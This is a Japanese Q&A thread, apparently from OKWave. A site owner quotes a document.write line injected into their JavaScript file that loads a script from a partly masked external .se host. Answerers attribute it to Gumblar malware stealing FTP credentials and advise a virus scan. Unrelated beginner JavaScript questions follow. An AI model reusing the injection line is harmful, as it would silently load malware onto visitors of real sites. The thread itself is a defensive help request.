• ベストアンサー

レンタルサーバーで、ホームページを運営しております。本日突然表示がおか

レンタルサーバーで、ホームページを運営しております。本日突然表示がおかしくなり、Webサーバー内のファイルを調べたところ、jsファイルに追加した覚えのない記述が見つかりました。以下のような変なサイトのphpファイルのURLも記述されています。 document.write('<script src=http://**.se/bilder/klassfest3.php ><\/script>'); このような記述はしていませんし、サーバーにアップロード前のjsファイルと比べてもこのような記述はありません。 何者かがファイルを書き換えることなんて出来るのでしょうか? 防衛策なんてあるのでしょうか? あまり知識の無いものがHPの運営をしているのが問題かもしれませんが、今後のことを思うと心配です。

質問者が選んだベストアンサー

  • ベストアンサー
  • qwerjpo
  • ベストアンサー率44% (39/88)
回答No.2

詳しい者ではありませんが、 レンタルサーバー側がクラックされたか、もしくはあなたのPC(もしくはネットワーク内のどれかのPC)が Gumblar(別名GENOウイルス)に感染している可能性があると思われます。 Gumblarウイルスに感染した場合、アップロードするためのFTPのIDとパスワードが攻撃者に盗まれるので悪用される事があります。 実際、そのサイトに行くとGumblarウイルス(Trojan-Downloader.JS.Gumblar.x)がダウンロードされる仕組みになっています。 もちろんウイルスに感染していると断言することはできませんが、 念のためウイルスをスキャンすることをオススメします。

y-ring
質問者

お礼

ご回答ありがとうございます。 確かに1台のパソコンの調子が悪いです。 ウィルススキャンを実施します。 レンタルサーバー業者にもその旨を伝えます。 ありがとうございました。

その他の回答 (1)

  • Toshi0230
  • ベストアンサー率51% (836/1635)
回答No.1

侵入経路はわかりませんがクラックされてますね。 今後の対応策としては、「セキュリティホール」と呼ばれる「裏口(侵入口)」をふさいでいくしかないのですが、まぁ一言じゃ説明できませんのでレンタルサーバ業者に相談することをおすすめします

y-ring
質問者

お礼

早速のご回答ありがとうございます。 まずはレンタルサーバー業者に当たってみます。

y-ring
質問者

補足

セキュリティホールは、レンタルサーバー側ということでしょうか?それとも私のサイトのフォルダの中ということなのでしょうか?

関連するQ&A

  • jQueryプラグイン、サーバー上だと動かない。

    こんにちは。 このたび制作しているWEBサイトにjQueryプラグインのprettyphotoを実装したいのですが、ローカルの環境では問題なく動いてくれるのですが、サーバーにアップしたとたんにエラーがでてしまいまったく動いてくれません。 <head>内のスクリプトの記述は <script src="js/libs/modernizr-2.0.6.min.js"></script> <script src="js/prettyphoto/js/jquery-1.6.1.min.js"></script> <script src="js/prettyPhoto/js/jquery.prettyPhoto.js"></script> <script type="text/javascript" charset="utf-8"> $(document).ready(function(){ $("a[rel^='prettyPhoto']").prettyPhoto({theme:'light_rounded'}); }); </script> という感じです。 ※そのほか直前にprettyphotoのCSSは読み込んでおります サーバーにアップしたページのソースをみてみるとCan't find variable:$というメッセージがでていたのでプラグインの記述を (function($){ // $(document).ready(function(){ $("a[rel^='prettyPhoto']").prettyPhoto({theme:'light_rounded'}); }); }(jQuery)); // にしてみてもCan't find variable:jQueryというメッセージがでてきてしまいます。 こちらもともとテンプレートであったサイトを改変しているものなので、このほかHTML後半部分にもいろいろjavascriptの記述があります。以下となります。 <script>window.jQuery || document.write('<script src="js/libs/jquery-1.7.1.min.js"><\/script>')</script> <script type="text/javascript" src="js/jquery.easing.1.3.js"></script> <script type="text/javascript" src="js/jquery.easing.compatibility.js"></script> <script type="text/javascript" src="js/jquery.validate.pack.js"></script> <script type="text/javascript" src="js/cycle/jquery.cycle.all.latest.js"></script> <script type="text/javascript" src="js/jquery.tweet.js"></script> <!-- super fish js include --> <script type="text/javascript" src="js/superfish/js/superfish.js"></script> <script type="text/javascript" src="js/superfish/js/hoverIntent.js"></script> <script defer src="js/plugins.js"></script> <script defer src="js/script.js"></script> レイアウトが崩れないようひとつひとつとりはずしてみたのですがprettyphotoは動いてくれませんでした。 またパスが間違っていないかも何度もチェックはしたつもりです。 本当に困っているのですが、このような時どうやって原因を探していけばよいのか、何かアドバイスを いただけたらと思い投稿させていただきました。 当方、WEB制作初心者のため、見当はずれなことを訊いていましたらご容赦ください。 どうぞよろしくおねがいします。

    • ベストアンサー
    • HTML
  • レンタルサーバーでjavascriptが動作しない

    レンタルサーバーにあげたjavascriptまたはPHPが動作しません。 使っているサーバはロリポップの2GBのプランの最初の10日間無料の期間です。 サーバー上にはindex.html(仮)がありアクセスするとそこから <link rel="stylesheet" type="text/css" charset="utf-8" media="all" href="./○○.css"> <script src="./××.js"></script> の記述からスタイルシートとjavascriptを読み込みます。 しかし、実際に動作させると、ページは表示されるものの動作がまったくありません。 自分なりに調べたら、スタイルシートに記述してある背景は表示されているのでスタイルシートは読み込まれているようです。 一方、javasucriptはアドオン「firebug」で監視しても何の動作も検知できません。通常なら同サーバー上のPHPファイルとHTTP通信を行うためfirebugではその内容が表示されるはずです。 以上の理由から、私は何らかの理由でJavascriptが使えないようになっていると考え、このカテゴリで質問させていただきました。 ちなみに、これらのファイルはローカルサーバー上で正しく動作することを確認済みです。 また、ブラウザのjavascriptも有効にしてあります。 レンタルサーバーを使うのは初めてなのでもしかしたら初歩的な部分でつまずいている可能性もあるのでどんな些細なことでも良いです、アドバイスをください。 よろしくお願いします。

  • レンタルサーバーに設置したファイルが消せなくなった

    表題の通り、レンタルサーバー(aaacafe)に phpで動くブログスクリプト設置しまして、運営していました。 自動生成されるファイルやディレクトリが自分の権限ではなくて、 apacheのnobody権限で作成されてしまい、FTPで消せなくなってしまったのですが、 どうすれば消せるようになるでしょうか。 セーフモードで動いているサーバーみたいで、困っています。 phpが作ったファイルなので、phpで動くファイルマネージャーみたいなのを探していたのですが、 あいにくみつからず困っています。どうすればよいでしょうか。

    • 締切済み
    • PHP
  • ScriptがTABLEタグの中に表示されません。

    下記の様にScriptを使ってTABLEタグの中に表示させようと思ったのですが、test2.jsの「あれ?」がTABLEタグ欄に表示されません。 何方かご教授してもらえませんか? ↓↓↓↓<HTML File>↓↓↓↓ <HTML><BODY> <script src="./test1.js"></script> </BODY></HTML> ↓↓↓↓<test1.js File>↓↓↓↓ document.open(); document.write("<TABLE border=1><TBODY><TR><TD>1</TD><TD>おや?<script src=\"./test2.js\"></script></TD></TR><TR><TD>1</TD><TD>1</TD></TR></TBODY></TABLE>"); document.close(); ↓↓↓↓<test2.js File>↓↓↓↓ document.open(); document.write("あれ?"); document.close();

  • Javascriptの外部サーバーからの読み込み(greybox)

    いつも参考にさせていただいてます。 greyboxを使ってページを表示したいのですが、 使っているサーバーはjsファイルなどがアップロードできない、CMSサービスのサイトなので、 別のレンタルサーバーにアップロードしたjsファイルを読み込んで動かしたところうまくいきません。 模範例では、 ----------------------------------- <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <title>Sample</title> <link rel="stylesheet" href="greybox/gb_styles.css" type="text/css" media="all"> <script type="text/javascript"><!-- var GB_ROOT_DIR = "./greybox/"; // --></script> <script type="text/javascript" src="greybox/AJS.js"></script> <script type="text/javascript" src="greybox/AJS_fx.js"></script> <script type="text/javascript" src="greybox/gb_scripts.js"></script> </head> <body> <h1>GreyBox サンプル</h1> <a href="http://job.mycom.co.jp/" title="job" rel="gb_page[480,360]"> 毎日就職ナビのページ表示 </a> </body> </html> ----------------------------------- なのですが、パスを絶対パスに変えて ----------------------------------- <link rel="stylesheet" href="http://mydomain/greybox/gb_styles.css" type="text/css" media="all"> <script type="text/javascript"><!-- var GB_ROOT_DIR = "http://mydomain/greybox/"; // --></script> <script type="text/javascript" src="http://mydomain/greybox/AJS.js"></script> <script type="text/javascript" src="http://mydomain/greybox/AJS_fx.js"></script> <script type="text/javascript" src="greybox/http://mydomain/gb_scripts.js"></script> ----------------------------------- と変更しました。 成功例(jsファイル同一サーバー上):http://greybox.main.jp/test_ng/index2.html 失敗例(jsファイル別サーバー上):http://greybox.main.jp/test_ok/index1.html 対応方法をお教え下さい。よろしくお願い致します。

  • onblurイベント時にPHPファイルを読み込む

    <check.js>--------------------- function check(obj){ document.write('<script type="text/javascript" src="check.php?code=' + obj.value + '"></script>'); } ------------------------------- check.jsを読み込んだページ内のテキストボックスの onblurイベント時にPHPファイルを読み込みたいのですが、 check.jsを上記のように書くとページがcheck.phpの内容で再描画されてしまいます(当たり前ですね) check.phpにはGETにてパラメータを渡し、DBへ接続して値を抽出する処理だけさせて 元のjsファイルに値を戻したいのですがどのように記述すればいいでしょうか。

  • PHP内でjsファイルの関数は使えないのでしょうか

    こんばんは、Webページ制作の勉強で問題にぶつかり、少々お知恵をお借りしたく質問させて頂きました。 あるPHPファイルの中の <!doctype html> <html> //ここにHTMLの記述があるとします。 </html> のHTMLの記述の中に <script src="example_A.js"></script> <script src="example_B.js"></script> のような形で他のページでも使っているJavascriptのファイルを読み込んで使用しようとしたのですが、一部の処理だけが行われないようのです。 そこでjsファイルの中で使えない記述に共通点が無いか確認してみたところ、 $(function() {   //ここに処理 }); のように、関数のみが動作して居ない事が解りました。 そこで質問なのですが、PHPファイルの中では、<html>の中で記述されたスクリプトだとしても関数の中で記述された処理は使えないという事なのでしょうか? また、もしPHPの中でも関数を動作させる方法があれば、教えて頂けないでしょうか。 宜しくお願い致します。

    • 締切済み
    • PHP
  • 自作ホームページで「FancyZoom」が動作しません

    当方HTMLの知識が多少(といっても遊びの簡単なHP作成が可能な程度)あるだけの者です。 最近会社のHPを立ち上げることにしました。 そのHPでは画像を沢山使うことになり、「FancyZoom」を導入することにしました。 そこでGIGAZINEのFancyZoom紹介ページ (http://gigazine.net/index.php?/news/comments/20080208_fancyzoom/) を参考に導入に挑戦してみました。 しかし実際に出来上がったhtmlファイルでは、FancyZoomが動作せず、 <a>タグで挟んだサムネイル画像をクリックしても、単純にリンク先の画像のみが表示されるだけになってしまいます。 ローカルでも、ocnの無料レンタルサーバー上でも動作しません。 しかし、何故か同じファイルをfc2ホームページのサーバーにアップすると動作しました。 (理由は不明です。しかし会社のサーバーはocnのため、ocnで動作しないとダメなのです。) 自分はJavScriptの知識は全くなく、簡単なHTMLが分かる程度ですので自力ではこの問題を解決できませんでした。 どうかご教授願えませんでしょうか。 なお、行った作業は、 ・FancyZoom(ver.1.1)のzipをダウンロード、解凍、「js-global」と「images-global」をフォルダごとサーバーの一番上(public_html)に転送。 ・導入したいページの  (1)<head></head>内に、    <script src="/js-global/FancyZoom.js" type="text/javascript"></script>    <script src="/js-global/FancyZoomHTML.js" type="text/javascript"></script>   と記述。  (2)<body>のすぐ下に、    <body id="whatever" [...] onload="setupZoom()">   と記述。  (3)画像を    <a href="images/○○.jpg"><img src="images/○○s.jpg" /></a>   の形で記述。   (ファイル名に"s"とつくのがサムネとなる画像です。) ・このhtmlを保存してサーバーの一番上(public_html)に転送。 以上の作業です。

  • referer取得について

    ブログパーツを作成中です。 どこに設置されているか調べたいのでリファラを取っても期待通りの結果になりません。 パーツ設置側 <script src="hoge.js"></script> サーバ側 ・hoge.js document.write('<iframe src='disp.php'></iframe>); ・disp.php <?php> echo $_SERVER["HTTP_REFERER"]; </php> これだとREFERERには disp.php が格納されてしまいます。 ブログパーツを設置しているブログのURLを取りたいのですがどのようにしたら良いのでしょうか?

    • ベストアンサー
    • PHP
  • 複数の外部ファイルを参照するにはどうすればいいの?

    22歳男性です。 htmlに以下のように記述していますがうまく動作しません。 <html> <head> <script type=\"text/javascript\" src=\"js1ファイルパス\"></script> <script type=\"text/javascript\" src=\"js2ファイルパス\"></script> </head> <body> ・・・・・・・ 上記のように記述して外部のjsファイルを参照しようとしているんですがうまくいきません。js2ファイルは参照できるんですが、js1ファイルは参照できません。 また、記述順を変えてみると、js1ファイルは参照でき、js2ファイルが参照できなくなります。 この2つのjsファイルを参照するにはどのように記述するべきなのでしょうか?